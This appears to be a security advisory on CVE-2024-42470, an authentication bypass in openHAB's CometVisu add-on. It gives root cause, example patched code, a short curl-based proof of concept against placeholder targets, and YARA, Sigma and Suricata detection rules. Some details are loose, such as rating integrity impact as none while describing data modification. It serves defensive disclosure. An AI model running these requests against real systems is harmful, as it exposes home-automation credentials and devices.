CVE-2024-42470

Executive Summary

CVE-2024-42470 identifies a critical authentication bypass vulnerability in the CometVisu visualization add-on for openHAB, an open-source home automation platform. Several REST API endpoints within the CometVisu add-on, prior to version 4.2.1, fail to enforce authentication checks. This allows any unauthenticated attacker with network access to the openHAB instance to read, modify, or exfiltrate sensitive configuration data and potentially control home automation devices. The vulnerability has a CVSS score of 6.5 (Medium), but its impact is amplified in home automation contexts where physical security and privacy are at stake. No public proof-of-concept (PoC) or exploit code has been released as of this analysis.

Supply Chain & Package Security

This vulnerability affects the CometVisu add-on, which is distributed as part of the openHAB ecosystem. Users typically install add-ons via the openHAB marketplace or manual JAR deployment. The lack of authentication on critical endpoints represents a supply chain risk, as the add-on is a trusted component that introduces a security flaw into the core platform. Organizations using openHAB in smart home or IoT environments should treat this as a high-priority update.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No victim action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Sensitive data (configs, device states) exposed.
• Integrity Impact: None (I:N) – No data modification in this vector.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the real-world impact on home automation systems can be severe, including unauthorized access to security cameras, door locks, and other IoT devices.

Deep Dive & Mechanics

The CometVisu add-on provides a web-based user interface for openHAB. It exposes several REST endpoints for retrieving and modifying system configurations, device states, and user settings. In versions prior to 4.2.1, these endpoints lack proper authentication middleware. The vulnerability stems from missing access control checks in the add-on's servlet or REST controller classes.

Root Cause: The developer(s) did not apply the @Secured annotation or equivalent authentication filter to certain HTTP methods (e.g., GET, POST, PUT) on endpoints such as:

• /cometvisu/rest/config
• /cometvisu/rest/items
• /cometvisu/rest/sitemaps

An unauthenticated HTTP request to these endpoints returns sensitive data without requiring a session token or API key.

Attack Flow:

1. Attacker scans for openHAB instances (default port 8080) using Shodan or mass scanning.
2. Attacker sends a GET request to http://target:8080/cometvisu/rest/config.
3. Server responds with full configuration data, including database credentials, API keys, and device mappings.
4. Attacker can then use this data to pivot deeper into the network or control IoT devices.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-4.2.1):

// Example from CometVisuConfigResource.java
@GET
@Path("/config")
@Produces(MediaType.APPLICATION_JSON)
public Response getConfig() {
    // No authentication check
    String config = loadConfigFromFile();
    return Response.ok(config).build();
}

Patched Code (4.2.1+):

// Example from CometVisuConfigResource.java
@GET
@Path("/config")
@Produces(MediaType.APPLICATION_JSON)
@Secured // Annotation triggers authentication filter
public Response getConfig() {
    // Authentication is now enforced by the filter
    String config = loadConfigFromFile();
    return Response.ok(config).build();
}

The patch adds the @Secured annotation (or equivalent) to all vulnerable endpoints, ensuring that only authenticated users can access them.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Install openHAB 4.1.0 (vulnerable) on a local VM or Docker container.
• Enable the CometVisu add-on via the openHAB marketplace.
• Ensure the instance is accessible on the network.

Exploitation Steps:

1. Identify the target: nmap -p 8080 <target_ip>
2. Confirm openHAB: curl http://<target_ip>:8080/
3. Exploit the vulnerability:

   curl -v http://<target_ip>:8080/cometvisu/rest/config
   

   This returns the full configuration JSON.
4. Extract sensitive data:

   curl http://<target_ip>:8080/cometvisu/rest/items | jq '.'
   

   Lists all items (devices) and their states.

No public exploit code is available; the above curl commands serve as the PoC.

Blue Team (Defensive)

Detection:

• Monitor HTTP access logs for requests to /cometvisu/rest/* without prior authentication.
• Alert on multiple requests to these endpoints from the same IP within a short timeframe.

Hunting:

• Search for logs containing GET /cometvisu/rest/config or POST /cometvisu/rest/items.
• Correlate with failed authentication attempts (if any).

Mitigation:

• Immediately upgrade to CometVisu add-on version 4.2.1.
• If upgrade is not possible, restrict network access to the openHAB web interface using a firewall or reverse proxy with authentication.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /cometvisu/rest/config, /cometvisu/rest/items, /cometvisu/rest/sitemaps without a valid session cookie.
  • Unusual outbound data transfers from the openHAB server to external IPs (data exfiltration).
• File IOCs:
  • Unexpected modifications to openHAB configuration files (e.g., openhab.cfg, services.cfg).
• Log IOCs:
  • Repeated 200 OK responses to unauthenticated requests to CometVisu REST endpoints.
  • Absence of authentication-related log entries (e.g., no User logged in events) preceding data access.

Detection Engineering

YARA Rule

rule CVE_2024_42470_CometVisu_AuthBypass {
    meta:
        description = "Detects unauthenticated access to CometVisu REST endpoints in openHAB logs"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-42470"
    strings:
        $endpoint1 = "/cometvisu/rest/config"
        $endpoint2 = "/cometvisu/rest/items"
        $endpoint3 = "/cometvisu/rest/sitemaps"
        $http_get = "GET"
        $http_post = "POST"
        $http_put = "PUT"
    condition:
        any of ($endpoint*) and any of ($http_get, $http_post, $http_put)
}

Sigma Rule

title: Unauthenticated Access to CometVisu REST Endpoints
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to CometVisu REST endpoints without authentication
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: openhab
detection:
    selection:
        cs-uri-stem:
            - '/cometvisu/rest/config'
            - '/cometvisu/rest/items'
            - '/cometvisu/rest/sitemaps'
        cs-method:
            - 'GET'
            - 'POST'
            - 'PUT'
    condition: selection
falsepositives:
    - Legitimate authenticated users (check for session cookie)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-42470 - Unauthenticated CometVisu REST Access"; flow:to_server; content:"/cometvisu/rest/"; http_uri; nocase; content:"GET"; http_method; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update the CometVisu add-on to version 4.2.1 or later via the openHAB marketplace or manual JAR replacement.
2. Network Segmentation: Place the openHAB server behind a firewall or VPN, restricting access to trusted networks only.
3. Reverse Proxy: Use a reverse proxy (e.g., Nginx, Apache) with mandatory authentication (HTTP Basic Auth or OAuth) for all /cometvisu/rest/* paths.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) to block unauthenticated requests to sensitive endpoints.
• Enable detailed audit logging for all REST API calls.
• Regularly review openHAB add-on security advisories.

Patch Verification:

• After upgrade, verify the fix by attempting an unauthenticated request to /cometvisu/rest/config – it should return a 401 or 403 status.

Valters IT